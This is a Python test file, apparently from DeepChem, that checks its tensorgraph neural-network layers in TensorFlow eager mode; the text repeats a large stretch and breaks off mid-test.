np.random.rand(batch_size, length, width, in_channels).astype(np.float32) layer = layers.Conv2D(filters, kernel_size=kernel_size) result = layer(input) assert result.shape == (batch_size, length, width, filters) assert len(layer.trainable_variables) == 2 # Creating a second layer should produce different results, since it has # different random weights. layer2 = layers.Conv2D(filters, kernel_size=kernel_size) result2 = layer2(input) assert not np.allclose(result, result2) # But evaluating the first layer again should produce the same result as before. result3 = layer(input) assert np.allclose(result, result3) def test_conv_3d(self): """Test invoking Conv3D in eager mode.""" with context.eager_mode(): length = 4 width = 5 depth = 6 in_channels = 2 filters = 3 kernel_size = 2 batch_size = 10 input = np.random.rand(batch_size, length, width, depth, in_channels).astype(np.float32) layer = layers.Conv3D(filters, kernel_size=kernel_size) result = layer(input) assert result.shape == (batch_size, length, width, depth, filters) assert len(layer.trainable_variables) == 2 # Creating a second layer should produce different results, since it has # different random weights. layer2 = layers.Conv3D(filters, kernel_size=kernel_size) result2 = layer2(input) assert not np.allclose(result, result2) # But evaluating the first layer again should produce the same result as before. result3 = layer(input) assert np.allclose(result, result3) def test_conv_2d_transpose(self): """Test invoking Conv2DTranspose in eager mode.""" with context.eager_mode(): length = 4 width = 5 in_channels = 2 filters = 3 kernel_size = 2 stride = 2 batch_size = 10 input = np.random.rand(batch_size, length, width, in_channels).astype(np.float32) layer = layers.Conv2DTranspose( filters, kernel_size=kernel_size, stride=stride) result = layer(input) assert result.shape == (batch_size, length * stride, width * stride, filters) assert len(layer.trainable_variables) == 2 # Creating a second layer should produce different results, since it has # different random weights. layer2 = layers.Conv2DTranspose( filters, kernel_size=kernel_size, stride=stride) result2 = layer2(input) assert not np.allclose(result, result2) # But evaluating the first layer again should produce the same result as before. result3 = layer(input) assert np.allclose(result, result3) def test_conv_3d_transpose(self): """Test invoking Conv3DTranspose in eager mode.""" with context.eager_mode(): length = 4 width = 5 depth = 6 in_channels = 2 filters = 3 kernel_size = 2 stride = 2 batch_size = 10 input = np.random.rand(batch_size, length, width, depth, in_channels).astype(np.float32) layer = layers.Conv3DTranspose( filters, kernel_size=kernel_size, stride=stride) result = layer(input) assert result.shape == (batch_size, length * stride, width * stride, depth * stride, filters) assert len(layer.trainable_variables) == 2 # Creating a second layer should produce different results, since it has # different random weights. layer2 = layers.Conv3DTranspose( filters, kernel_size=kernel_size, stride=stride) result2 = layer2(input) assert not np.allclose(result, result2) # But evaluating the first layer again should produce the same result as before. result3 = layer(input) assert np.allclose(result, result3) def test_max_pool_1d(self): """Test invoking MaxPool1D in eager mode.""" with context.eager_mode(): input = np.random.rand(4, 6, 8).astype(np.float32) result = layers.MaxPool1D(strides=2)(input) assert result.shape == (4, 3, 8) def test_max_pool_2d(self): """Test invoking MaxPool2D in eager mode.""" with context.eager_mode(): input = np.random.rand(2, 4, 6, 8).astype(np.float32) result = layers.MaxPool2D()(input) assert result.shape == (2, 2, 3, 8) def test_max_pool_3d(self): """Test invoking MaxPool3D in eager mode.""" with context.eager_mode(): input = np.random.rand(2, 4, 6, 8, 2).astype(np.float32) result = layers.MaxPool3D()(input) assert result.shape == (2, 2, 3, 4, 2) def test_graph_conv(self): """Test invoking GraphConv in eager mode.""" with context.eager_mode(): out_channels = 2 n_atoms = 4 # In CCC and C, there are 4 atoms raw_smiles = ['CCC', 'C'] import rdkit mols = [rdkit.Chem.MolFromSmiles(s) for s in raw_smiles] featurizer = dc.feat.graph_features.ConvMolFeaturizer() mols = featurizer.featurize(mols) multi_mol = dc.feat.mol_graphs.ConvMol.agglomerate_mols(mols) atom_features = multi_mol.get_atom_features().astype(np.float32) degree_slice = multi_mol.deg_slice membership = multi_mol.membership deg_adjs = multi_mol.get_deg_adjacency_lists()[1:] args = [atom_features, degree_slice, membership] + deg_adjs layer = layers.GraphConv(out_channels) result = layer(*args) assert result.shape == (n_atoms, out_channels) assert len(layer.trainable_variables) == 2 * layer.num_deg def test_graph_pool(self): """Test invoking GraphPool in eager mode.""" with context.eager_mode(): n_atoms = 4 # In CCC and C, there are 4 atoms raw_smiles = ['CCC', 'C'] import rdkit mols = [rdkit.Chem.MolFromSmiles(s) for s in raw_smiles] featurizer = dc.feat.graph_features.ConvMolFeaturizer() mols = featurizer.featurize(mols) multi_mol = dc.feat.mol_graphs.ConvMol.agglomerate_mols(mols) atom_features = multi_mol.get_atom_features().astype(np.float32) degree_slice = multi_mol.deg_slice membership = multi_mol.membership deg_adjs = multi_mol.get_deg_adjacency_lists()[1:] args = [atom_features, degree_slice, membership] + deg_adjs result = layers.GraphPool()(*args) assert result.shape[0] == n_atoms # TODO What should shape[1] be? It's not documented. def test_graph_gather(self): """Test invoking GraphGather in eager mode.""" with context.eager_mode(): batch_size = 2 n_features = 75 n_atoms = 4 # In CCC and C, there are 4 atoms raw_smiles = ['CCC', 'C'] import rdkit mols = [rdkit.Chem.MolFromSmiles(s) for s in raw_smiles] featurizer = dc.feat.graph_features.ConvMolFeaturizer() mols = featurizer.featurize(mols) multi_mol = dc.feat.mol_graphs.ConvMol.agglomerate_mols(mols) atom_features = multi_mol.get_atom_features().astype(np.float32) degree_slice = multi_mol.deg_slice membership = multi_mol.membership deg_adjs = multi_mol.get_deg_adjacency_lists()[1:] args = [atom_features, degree_slice, membership] + deg_adjs result = layers.GraphGather(batch_size)(*args) # TODO(rbharath): Why is it 2*n_features instead of n_features? assert result.shape == (batch_size, 2 * n_features) def test_lstm_step(self): """Test invoking LSTMStep in eager mode.""" with context.eager_mode(): max_depth = 5 n_test = 5 n_feat = 10 y = np.random.rand(n_test, 2 * n_feat).astype(np.float32) state_zero = np.random.rand(n_test, n_feat).astype(np.float32) state_one = np.random.rand(n_test, n_feat).astype(np.float32) layer = layers.LSTMStep(n_feat, 2 * n_feat) result = layer(y, state_zero, state_one) h_out, h_copy_out, c_out = (result[0], result[1][0], result[1][1]) assert h_out.shape == (n_test, n_feat) assert h_copy_out.shape == (n_test, n_feat) assert c_out.shape == (n_test, n_feat) assert len(layer.trainable_variables) == 3 def test_attn_lstm_embedding(self): """Test invoking AttnLSTMEmbedding in eager mode.""" with context.eager_mode(): max_depth = 5 n_test = 5 n_support = 11 n_feat = 10 test = np.random.rand(n_test, n_feat).astype(np.float32) support = np.random.rand(n_support, n_feat).astype(np.float32) layer = layers.AttnLSTMEmbedding(n_test, n_support, n_feat, max_depth) test_out, support_out = layer(test, support) assert test_out.shape == (n_test, n_feat) assert support_out.shape == (n_support, n_feat) assert len(layer.trainable_variables) == 7 def test_iter_ref_lstm_embedding(self): """Test invoking AttnLSTMEmbedding in eager mode.""" with context.eager_mode(): max_depth = 5 n_test = 5 n_support = 11 n_feat = 10 test = np.random.rand(n_test, n_feat).astype(np.float32) support = np.random.rand(n_support, n_feat).astype(np.float32) layer = layers.IterRefLSTMEmbedding(n_test, n_support, n_feat, max_depth) test_out, support_out = layer(test, support) assert test_out.shape == (n_test, n_feat) assert support_out.shape == (n_support, n_feat) assert len(layer.trainable_variables) == 12 def test_batch_norm(self): """Test invoking BatchNorm in eager mode.""" with context.eager_mode(): batch_size = 10 n_features = 5 input = np.random.rand(batch_size, n_features).astype(np.float32) layer = layers.BatchNorm() result = layer(input) assert result.shape == (batch_size, n_features) assert len(layer.trainable_variables) == 2 def test_weighted_error(self): """Test invoking WeightedError in eager mode.""" with context.eager_mode(): input1 = np.random.rand(5, 10).astype(np.float32) input2 = np.random.rand(5, 10).astype(np.float32) result = layers.WeightedError()(input1, input2) expected = np.sum(input1 * input2) assert np.allclose(result, expected) def test_vina_free_energy(self): """Test invoking VinaFreeEnergy in eager mode.""" with context.eager_mode(): n_atoms = 5 m_nbrs = 1 ndim = 3 nbr_cutoff = 1 start = 0 stop = 4 X = np.random.rand(n_atoms, ndim).astype(np.float32) Z = np.random.randint(0, 2, (n_atoms)).astype(np.float32) layer = layers.VinaFreeEnergy(n_atoms, m_nbrs, ndim, nbr_cutoff, start, stop) result = layer(X, Z) assert len(layer.trainable_variables) == 6 assert result.shape == tuple() # Creating a second layer should produce different results, since it has # different random weights. layer2 = layers.VinaFreeEnergy(n_atoms, m_nbrs, ndim, nbr_cutoff, start, stop) result2 = layer2(X, Z) assert not np.allclose(result, result2) # But evaluating the first layer again should produce the same result as before. result3 = layer(X, Z) assert np.allclose(result, result3) def test_weighted_linear_combo(self): """Test invoking WeightedLinearCombo in eager mode.""" with context.eager_mode(): input1 = np.random.rand(5, 10).astype(np.float32) input2 = np.random.rand(5, 10).astype(np.float32) layer = layers.WeightedLinearCombo() result = layer(input1, input2) assert len(layer.trainable_variables) == 2 expected = input1 * layer.trainable_variables[0] + input2 * layer.trainable_variables[1] assert np.allclose(result, expected) def test_neighbor_list(self): """Test invoking NeighborList in eager mode.""" with context.eager_mode(): N_atoms = 5 start = 0 stop = 12 nbr_cutoff = 3 ndim = 3 M_nbrs = 2 coords = start + np.random.rand(N_atoms, ndim) * (stop - start) coords = tf.cast(tf.stack(coords), tf.float32) layer = layers.NeighborList(N_atoms, M_nbrs, ndim, nbr_cutoff, start, stop) result = layer(coords) assert result.shape == (N_atoms, M_nbrs) def test_dropout(self): """Test invoking Dropout in eager mode.""" with context.eager_mode(): rate = 0.5 input = np.random.rand(5, 10).astype(np.float32) layer = layers.Dropout(rate) result1 = layer(input, training=False) assert np.allclose(result1, input) result2 = layer(input, training=True) assert not np.allclose(result2, input) nonzero = result2.numpy() != 0 assert np.allclose(result2.numpy()[nonzero], input[nonzero] / rate) def test_atomic_convolution(self): """Test invoking AtomicConvolution in eager mode.""" with context.eager_mode(): batch_size = 4 max_atoms = 5 max_neighbors = 2 dimensions = 3 params = [[5.0, 2.0, 0.5], [10.0, 2.0, 0.5]] input1 = np.random.rand(batch_size, max_atoms, dimensions).astype(np.float32) input2 = np.random.randint( max_atoms, size=(batch_size, max_atoms, max_neighbors)) input3 = np.random.randint( 1, 10, size=(batch_size, max_atoms, max_neighbors)) layer = layers.AtomicConvolution(radial_params=params) result = layer(input1, input2, input3) assert result.shape == (batch_size, max_atoms, len(params)) assert len(layer.trainable_variables) == 3 def test_alpha_share_layer(self): """Test invoking AlphaShareLayer in eager mode.""" with context.eager_mode(): batch_size = 10 length = 6 input1 = np.random.rand(batch_size, length).astype(np.float32) input2 = np.random.rand(batch_size, length).astype(np.float32) layer = layers.AlphaShareLayer() result = layer(input1, input2) assert input1.shape == result[0].shape assert input2.shape == result[1].shape # Creating a second layer should produce different results, since it has # different random weights. layer2 = layers.AlphaShareLayer() result2 = layer2(input1, input2) assert not np.allclose(result[0], result2[0]) assert not np.allclose(result[1], result2[1]) # But evaluating the first layer again should produce the same result as before. result3 = layer(input1, input2) assert np.allclose(result[0], result3[0]) assert np.allclose(result[1], result3[1]) def test_sluice_loss(self): """Test invoking SluiceLoss in eager mode.""" with context.eager_mode(): input1 = np.ones((3, 4)).astype(np.float32) input2 = np.ones((2, 2)).astype(np.float32) result = layers.SluiceLoss()(input1, input2) assert np.allclose(result, 40.0) def test_beta_share(self): """Test invoking BetaShare in eager mode.""" with context.eager_mode(): batch_size = 10 length = 6 input1 = np.random.rand(batch_size, length).astype(np.float32) input2 = np.random.rand(batch_size, length).astype(np.float32) layer = layers.BetaShare() result = layer(input1, input2) assert input1.shape == result.shape assert input2.shape == result.shape # Creating a second layer should produce different results, since it has # different random weights. layer2 = layers.BetaShare() result2 = layer2(input1, input2) assert not np.allclose(result, result2) # But evaluating the first layer again should produce the same result as before. result3 = layer(input1, input2) assert np.allclose(result, result3) def test_ani_feat(self): """Test invoking ANIFeat in eager mode.""" with context.eager_mode(): batch_size = 10 max_atoms = 5 input = np.random.rand(batch_size, max_atoms, 4).astype(np.float32) layer = layers.ANIFeat(max_atoms=max_atoms) result = layer(input) # TODO What should the output shape be? It's not documented, and there # are no other test cases for it. def test_graph_embed_pool_layer(self): """Test invoking GraphEmbedPoolLayer in eager mode.""" with context.eager_mode(): V = np.random.uniform(size=(10, 100, 50)).astype(np.float32) adjs = np.random.uniform(size=(10, 100, 5, 100)).astype(np.float32) layer = layers.GraphEmbedPoolLayer(num_vertices=6) result = layer(V, adjs) assert result[0].shape == (10, 6, 50) assert result[1].shape == (10, 6, 5, 6) # Creating a second layer should produce different results, since it has # different random weights. layer2 = layers.GraphEmbedPoolLayer(num_vertices=6) result2 = layer2(V, adjs) assert not np.allclose(result[0], result2[0]) assert not np.allclose(result[1], result2[1]) # But evaluating the first layer again should produce the same result as before. result3 = layer(V, adjs) assert np.allclose(result[0], result3[0]) assert np.allclose(result[1], result3[1]) def test_graph_cnn(self): """Test invoking GraphCNN in eager mode.""" with context.eager_mode(): V = np.random.uniform(size=(10, 100, 50)).astype(np.float32) adjs = np.random.uniform(size=(10, 100, 5, 100)).astype(np.float32) layer = layers.GraphCNN(num_filters=6) result = layer(V, adjs) assert result.shape == (10, 100, 6) # Creating a second layer should produce different results, since it has # different random weights. layer2 = layers.GraphCNN(num_filters=6) result2 = layer2(V, adjs) assert not np.allclose(result, result2) # But evaluating the first layer again should produce the same result as before. result3 = layer(V, adjs) assert np.allclose(result, result3) def test_hinge_loss(self): """Test invoking HingeLoss in eager mode.""" with context.eager_mode(): n_labels = 1 n_logits = 1 logits = np.random.rand(n_logits).astype(np.float32) labels = np.random.rand(n_labels).astype(np.float32) result = layers.HingeLoss()(labels, logits) assert result.shape == (n_labels,)

import deepchem as dc import numpy as np import tensorflow as tf import deepchem.models.tensorgraph.layers as layers from tensorflow.python.eager import context from tensorflow.python.framework import test_util class TestLayersEager(test_util.TensorFlowTestCase): """ Test that layers function in eager mode. """ def test_conv_1d(self): """Test invoking Conv1D in eager mode.""" with context.eager_mode(): width = 5 in_channels = 2 filters = 3 kernel_size = 2 batch_size = 10 input = np.random.rand(batch_size, width, in_channels).astype(np.float32) layer = layers.Conv1D(filters, kernel_size) result = layer(input) self.assertEqual(result.shape[0], batch_size) self.assertEqual(result.shape[2], filters) assert len(layer.trainable_variables) == 2 # Creating a second layer should produce different results, since it has # different random weights. layer2 = layers.Conv1D(filters, kernel_size) result2 = layer2(input) assert not np.allclose(result, result2) # But evaluating the first layer again should produce the same result as before. result3 = layer(input) assert np.allclose(result, result3) def test_dense(self): """Test invoking Dense in eager mode.""" with context.eager_mode(): in_dim = 2 out_dim = 3 batch_size = 10 input = np.random.rand(batch_size, in_dim).astype(np.float32) layer = layers.Dense(out_dim) result = layer(input) assert result.shape == (batch_size, out_dim) assert len(layer.trainable_variables) == 2 # Creating a second layer should produce different results, since it has # different random weights. layer2 = layers.Dense(out_dim) result2 = layer2(input) assert not np.allclose(result, result2) # But evaluating the first layer again should produce the same result as before. result3 = layer(input) assert np.allclose(result, result3) def test_highway(self): """Test invoking Highway in eager mode.""" with context.eager_mode(): width = 5 batch_size = 10 input = np.random.rand(batch_size, width).astype(np.float32) layer = layers.Highway() result = layer(input) assert result.shape == (batch_size, width) assert len(layer.trainable_variables) == 4 # Creating a second layer should produce different results, since it has # different random weights. layer2 = layers.Highway() result2 = layer2(input) assert not np.allclose(result, result2) # But evaluating the first layer again should produce the same result as before. result3 = layer(input) assert np.allclose(result, result3) def test_flatten(self): """Test invoking Flatten in eager mode.""" with context.eager_mode(): input = np.random.rand(5, 10, 4).astype(np.float32) result = layers.Flatten()(input) assert result.shape == (5, 40) def test_reshape(self): """Test invoking Reshape in eager mode.""" with context.eager_mode(): input = np.random.rand(5, 10, 4).astype(np.float32) result = layers.Reshape((100, 2))(input) assert result.shape == (100, 2) def test_cast(self): """Test invoking Cast in eager mode.""" with context.eager_mode(): input = np.random.rand(5, 3) result = layers.Cast(dtype=tf.float32)(input) assert result.dtype == tf.float32 def test_squeeze(self): """Test invoking Squeeze in eager mode.""" with context.eager_mode(): input = np.random.rand(5, 1, 4).astype(np.float32) result = layers.Squeeze()(input) assert result.shape == (5, 4) def test_transpose(self): """Test invoking Transpose in eager mode.""" with context.eager_mode(): input = np.random.rand(5, 10, 4).astype(np.float32) result = layers.Transpose((1, 2, 0))(input) assert result.shape == (10, 4, 5) def test_combine_mean_std(self): """Test invoking CombineMeanStd in eager mode.""" with context.eager_mode(): mean = np.random.rand(5, 3).astype(np.float32) std = np.random.rand(5, 3).astype(np.float32) layer = layers.CombineMeanStd(training_only=True, noise_epsilon=0.01) result1 = layer(mean, std, training=False) assert np.array_equal(result1, mean) # No noise in test mode result2 = layer(mean, std, training=True) assert not np.array_equal(result2, mean) assert np.allclose(result2, mean, atol=0.1) def test_repeat(self): """Test invoking Repeat in eager mode.""" with context.eager_mode(): input = np.random.rand(5, 4).astype(np.float32) result = layers.Repeat(3)(input) assert result.shape == (5, 3, 4) assert np.array_equal(result[:, 0, :], result[:, 1, :]) def test_gather(self): """Test invoking Gather in eager mode.""" with context.eager_mode(): input = np.random.rand(5).astype(np.float32) indices = [[1], [3]] result = layers.Gather()(input, indices) assert np.array_equal(result, [input[1], input[3]]) def test_gru(self): """Test invoking GRU in eager mode.""" with context.eager_mode(): batch_size = 10 n_hidden = 7 in_channels = 4 n_steps = 6 input = np.random.rand(batch_size, n_steps, in_channels).astype(np.float32) layer = layers.GRU(n_hidden, batch_size) result, state = layer(input) assert result.shape == (batch_size, n_steps, n_hidden) assert len(layer.trainable_variables) == 3 # Creating a second layer should produce different results, since it has # different random weights. layer2 = layers.GRU(n_hidden, batch_size) result2, state2 = layer2(input) assert not np.allclose(result, result2) # But evaluating the first layer again should produce the same result as before. result3, state3 = layer(input) assert np.allclose(result, result3) # But if we specify a different starting state, that should produce a # different result. result4, state4 = layer(input, initial_state=state3) assert not np.allclose(result, result4) def test_lstm(self): """Test invoking LSTM in eager mode.""" with context.eager_mode(): batch_size = 10 n_hidden = 7 in_channels = 4 n_steps = 6 input = np.random.rand(batch_size, n_steps, in_channels).astype(np.float32) layer = layers.LSTM(n_hidden, batch_size) result, state = layer(input) assert result.shape == (batch_size, n_steps, n_hidden) assert len(layer.trainable_variables) == 3 # Creating a second layer should produce different results, since it has # different random weights. layer2 = layers.LSTM(n_hidden, batch_size) result2, state2 = layer2(input) assert not np.allclose(result, result2) # But evaluating the first layer again should produce the same result as before. result3, state3 = layer(input) assert np.allclose(result, result3) # But if we specify a different starting state, that should produce a # different result. result4, state4 = layer(input, initial_state=state3) assert not np.allclose(result, result4) def test_time_series_dense(self): """Test invoking TimeSeriesDense in eager mode.""" with context.eager_mode(): in_dim = 2 out_dim = 3 n_steps = 6 batch_size = 10 input = np.random.rand(batch_size, n_steps, in_dim).astype(np.float32) layer = layers.TimeSeriesDense(out_dim) result = layer(input) assert result.shape == (batch_size, n_steps, out_dim) assert len(layer.trainable_variables) == 2 # Creating a second layer should produce different results, since it has # different random weights. layer2 = layers.TimeSeriesDense(out_dim) result2 = layer2(input) assert not np.allclose(result, result2) # But evaluating the first layer again should produce the same result as before. result3 = layer(input) assert np.allclose(result, result3) def test_l1_loss(self): """Test invoking L1Loss in eager mode.""" with context.eager_mode(): input1 = np.random.rand(5, 10).astype(np.float32) input2 = np.random.rand(5, 10).astype(np.float32) result = layers.L1Loss()(input1, input2) expected = np.mean(np.abs(input1 - input2), axis=1) assert np.allclose(result, expected) def test_l2_loss(self): """Test invoking L2Loss in eager mode.""" with context.eager_mode(): input1 = np.random.rand(5, 10).astype(np.float32) input2 = np.random.rand(5, 10).astype(np.float32) result = layers.L2Loss()(input1, input2) expected = np.mean((input1 - input2)**2, axis=1) assert np.allclose(result, expected) def test_softmax(self): """Test invoking SoftMax in eager mode.""" with context.eager_mode(): input = np.random.rand(5, 10).astype(np.float32) result = layers.SoftMax()(input) expected = tf.nn.softmax(input) assert np.allclose(result, expected) def test_sigmoid(self): """Test invoking Sigmoid in eager mode.""" with context.eager_mode(): input = np.random.rand(5, 10).astype(np.float32) result = layers.Sigmoid()(input) expected = tf.nn.sigmoid(input) assert np.allclose(result, expected) def test_relu(self): """Test invoking ReLU in eager mode.""" with context.eager_mode(): input = np.random.normal(size=(5, 10)).astype(np.float32) result = layers.ReLU()(input) expected = tf.nn.relu(input) assert np.allclose(result, expected) def test_concat(self): """Test invoking Concat in eager mode.""" with context.eager_mode(): input1 = np.random.rand(5, 10).astype(np.float32) input2 = np.random.rand(5, 4).astype(np.float32) result = layers.Concat()(input1, input2) assert result.shape == (5, 14) assert np.array_equal(input1, result[:, :10]) assert np.array_equal(input2, result[:, 10:]) def test_stack(self): """Test invoking Stack in eager mode.""" with context.eager_mode(): input1 = np.random.rand(5, 4).astype(np.float32) input2 = np.random.rand(5, 4).astype(np.float32) result = layers.Stack()(input1, input2) assert result.shape == (5, 2, 4) assert np.array_equal(input1, result[:, 0, :]) assert np.array_equal(input2, result[:, 1, :]) def test_constant(self): """Test invoking Constant in eager mode.""" with context.eager_mode(): value = np.random.rand(5, 4).astype(np.float32) result = layers.Constant(value)() assert np.array_equal(result, value) def test_variable(self): """Test invoking Variable in eager mode.""" with context.eager_mode(): value = np.random.rand(5, 4).astype(np.float32) layer = layers.Variable(value) result = layer() assert np.array_equal(result.numpy(), value) assert len(layer.trainable_variables) == 1 def test_add(self): """Test invoking Add in eager mode.""" with context.eager_mode(): result = layers.Add()([1, 2], [3, 4]) assert np.array_equal(result, [4, 6]) def test_multiply(self): """Test invoking Multiply in eager mode.""" with context.eager_mode(): result = layers.Multiply()([1, 2], [3, 4]) assert np.array_equal(result, [3, 8]) def test_divide(self): """Test invoking Divide in eager mode.""" with context.eager_mode(): result = layers.Divide()([1, 2], [2, 5]) assert np.allclose(result, [0.5, 0.4]) def test_log(self): """Test invoking Log in eager mode.""" with context.eager_mode(): result = layers.Log()(2.5) assert np.allclose(result, np.log(2.5)) def test_exp(self): """Test invoking Exp in eager mode.""" with context.eager_mode(): result = layers.Exp()(2.5) assert np.allclose(result, np.exp(2.5)) def test_interatomic_l2_distances(self): """Test invoking InteratomicL2Distances in eager mode.""" with context.eager_mode(): atoms = 5 neighbors = 2 coords = np.random.rand(atoms, 3) neighbor_list = np.random.randint(0, atoms, size=(atoms, neighbors)) layer = layers.InteratomicL2Distances(atoms, neighbors, 3) result = layer(coords, neighbor_list) assert result.shape == (atoms, neighbors) for atom in range(atoms): for neighbor in range(neighbors): delta = coords[atom] - coords[neighbor_list[atom, neighbor]] dist2 = np.dot(delta, delta) assert np.allclose(dist2, result[atom, neighbor]) def test_sparse_softmax_cross_entropy(self): """Test invoking SparseSoftMaxCrossEntropy in eager mode.""" with context.eager_mode(): batch_size = 10 n_features = 5 logits = np.random.rand(batch_size, n_features).astype(np.float32) labels = np.random.rand(batch_size).astype(np.int32) result = layers.SparseSoftMaxCrossEntropy()(labels, logits) expected = tf.nn.sparse_softmax_cross_entropy_with_logits( labels=labels, logits=logits) assert np.allclose(result, expected) def test_softmax_cross_entropy(self): """Test invoking SoftMaxCrossEntropy in eager mode.""" with context.eager_mode(): batch_size = 10 n_features = 5 logits = np.random.rand(batch_size, n_features).astype(np.float32) labels = np.random.rand(batch_size, n_features).astype(np.float32) result = layers.SoftMaxCrossEntropy()(labels, logits) expected = tf.nn.softmax_cross_entropy_with_logits_v2( labels=labels, logits=logits) assert np.allclose(result, expected) def test_sigmoid_cross_entropy(self): """Test invoking SigmoidCrossEntropy in eager mode.""" with context.eager_mode(): batch_size = 10 n_features = 5 logits = np.random.rand(batch_size, n_features).astype(np.float32) labels = np.random.randint(0, 2, (batch_size, n_features)).astype(np.float32) result = layers.SigmoidCrossEntropy()(labels, logits) expected = tf.nn.sigmoid_cross_entropy_with_logits( labels=labels, logits=logits) assert np.allclose(result, expected) def test_reduce_mean(self): """Test invoking ReduceMean in eager mode.""" with context.eager_mode(): input = np.random.rand(5, 10).astype(np.float32) result = layers.ReduceMean(axis=1)(input) assert result.shape == (5,) assert np.allclose(result, np.mean(input, axis=1)) def test_reduce_max(self): """Test invoking ReduceMax in eager mode.""" with context.eager_mode(): input = np.random.rand(5, 10).astype(np.float32) result = layers.ReduceMax(axis=1)(input) assert result.shape == (5,) assert np.allclose(result, np.max(input, axis=1)) def test_reduce_sum(self): """Test invoking ReduceSum in eager mode.""" with context.eager_mode(): input = np.random.rand(5, 10).astype(np.float32) result = layers.ReduceSum(axis=1)(input) assert result.shape == (5,) assert np.allclose(result, np.sum(input, axis=1)) def test_reduce_square_difference(self): """Test invoking ReduceSquareDifference in eager mode.""" with context.eager_mode(): input1 = np.random.rand(5, 10).astype(np.float32) input2 = np.random.rand(5, 10).astype(np.float32) result = layers.ReduceSquareDifference(axis=1)(input1, input2) assert result.shape == (5,) assert np.allclose(result, np.mean((input1 - input2)**2, axis=1)) def test_conv_2d(self): """Test invoking Conv2D in eager mode.""" with context.eager_mode(): length = 4 width = 5 in_channels = 2 filters = 3 kernel_size = 2 batch_size = 10 input = np.random.rand(batch_size, length, width, in_channels).astype(np.float32) layer = layers.Conv2D(filters, kernel_size=kernel_size) result = layer(input) assert result.shape == (batch_size, length, width, filters) assert len(layer.trainable_variables) == 2 # Creating a second layer should produce different results, since it has # different random weights. layer2 = layers.Conv2D(filters, kernel_size=kernel_size) result2 = layer2(input) assert not np.allclose(result, result2) # But evaluating the first layer again should produce the same result as before. result3 = layer(input) assert np.allclose(result, result3) def test_conv_3d(self): """Test invoking Conv3D in eager mode.""" with context.eager_mode(): length = 4 width = 5 depth = 6 in_channels = 2 filters = 3 kernel_size = 2 batch_size = 10 input = np.random.rand(batch_size, length, width, depth, in_channels).astype(np.float32) layer = layers.Conv3D(filters, kernel_size=kernel_size) result = layer(input) assert result.shape == (batch_size, length, width, depth, filters) assert len(layer.trainable_variables) == 2 # Creating a second layer should produce different results, since it has # different random weights. layer2 = layers.Conv3D(filters, kernel_size=kernel_size) result2 = layer2(input) assert not np.allclose(result, result2) # But evaluating the first layer again should produce the same result as before. result3 = layer(input) assert np.allclose(result, result3) def test_conv_2d_transpose(self): """Test invoking Conv2DTranspose in eager mode.""" with context.eager_mode(): length = 4 width = 5 in_channels = 2 filters = 3 kernel_size = 2 stride = 2 batch_size = 10 input = np.random.rand(batch_size, length, width, in_channels).astype(np.float32) layer = layers.Conv2DTranspose( filters, kernel_size=kernel_size, stride=stride) result = layer(input) assert result.shape == (batch_size, length * stride, width * stride, filters) assert len(layer.trainable_variables) == 2 # Creating a second layer should produce different results, since it has # different random weights. layer2 = layers.Conv2DTranspose( filters, kernel_size=kernel_size, stride=stride) result2 = layer2(input) assert not np.allclose(result, result2) # But evaluating the first layer again should produce the same result as before. result3 = layer(input) assert np.allclose(result, result3) def test_conv_3d_transpose(self): """Test invoking Conv3DTranspose in eager mode.""" with context.eager_mode(): length = 4 width = 5 depth = 6 in_channels = 2 filters = 3 kernel_size = 2 stride = 2 batch_size = 10 input = np.random.rand(batch_size, length, width, depth, in_channels).astype(np.float32) layer = layers.Conv3DTranspose( filters, kernel_size=kernel_size, stride=stride) result = layer(input) assert result.shape == (batch_size, length * stride, width * stride, depth * stride, filters) assert len(layer.trainable_variables) == 2 # Creating a second layer should produce different results, since it has # different random weights. layer2 = layers.Conv3DTranspose( filters, kernel_size=kernel_size, stride=stride) result2 = layer2(input) assert not np.allclose(result, result2) # But evaluating the first layer again should produce the same result as before. result3 = layer(input) assert np.allclose(result, result3) def test_max_pool_1d(self): """Test invoking MaxPool1D in eager mode.""" with context.eager_mode(): input = np.random.rand(4, 6, 8).astype(np.float32) result = layers.MaxPool1D(strides=2)(input) assert result.shape == (4, 3, 8) def test_max_pool_2d(self): """Test invoking MaxPool2D in eager mode.""" with context.eager_mode(): input = np.random.rand(2, 4, 6, 8).astype(np.float32) result = layers.MaxPool2D()(input) assert result.shape == (2, 2, 3, 8) def test_max_pool_3d(self): """Test invoking MaxPool3D in eager mode.""" with context.eager_mode(): input = np.random.rand(2, 4, 6, 8, 2).astype(np.float32) result = layers.MaxPool3D()(input) assert result.shape == (2, 2, 3, 4, 2) def test_graph_conv(self): """Test invoking GraphConv in eager mode.""" with context.eager_mode(): out_channels = 2 n_atoms = 4 # In CCC and C, there are 4 atoms raw_smiles = ['CCC', 'C'] import rdkit mols = [rdkit.Chem.MolFromSmiles(s) for s in raw_smiles] featurizer = dc.feat.graph_features.ConvMolFeaturizer() mols = featurizer.featurize(mols) multi_mol = dc.feat.mol_graphs.ConvMol.agglomerate_mols(mols) atom_features = multi_mol.get_atom_features().astype(np.float32) degree_slice = multi_mol.deg_slice membership = multi_mol.membership deg_adjs = multi_mol.get_deg_adjacency_lists()[1:] args = [atom_features, degree_slice, membership] + deg_adjs layer = layers.GraphConv(out_channels) result = layer(*args) assert result.shape == (n_atoms, out_channels) assert len(layer.trainable_variables) == 2 * layer.num_deg def test_graph_pool(self): """Test invoking GraphPool in eager mode.""" with context.eager_mode(): n_atoms = 4 # In CCC and C, there are 4 atoms raw_smiles = ['CCC', 'C'] import rdkit mols = [rdkit.Chem.MolFromSmiles(s) for s in raw_smiles] featurizer = dc.feat.graph_features.ConvMolFeaturizer() mols = featurizer.featurize(mols) multi_mol = dc.feat.mol_graphs.ConvMol.agglomerate_mols(mols) atom_features = multi_mol.get_atom_features().astype(np.float32) degree_slice = multi_mol.deg_slice membership = multi_mol.membership deg_adjs = multi_mol.get_deg_adjacency_lists()[1:] args = [atom_features, degree_slice, membership] + deg_adjs result = layers.GraphPool()(*args) assert result.shape[0] == n_atoms # TODO What should shape[1] be? It's not documented. def test_graph_gather(self): """Test invoking GraphGather in eager mode.""" with context.eager_mode(): batch_size = 2 n_features = 75 n_atoms = 4 # In CCC and C, there are 4 atoms raw_smiles = ['CCC', 'C'] import rdkit mols = [rdkit.Chem.MolFromSmiles(s) for s in raw_smiles] featurizer = dc.feat.graph_features.ConvMolFeaturizer() mols = featurizer.featurize(mols) multi_mol = dc.feat.mol_graphs.ConvMol.agglomerate_mols(mols) atom_features = multi_mol.get_atom_features().astype(np.float32) degree_slice = multi_mol.deg_slice membership = multi_mol.membership deg_adjs = 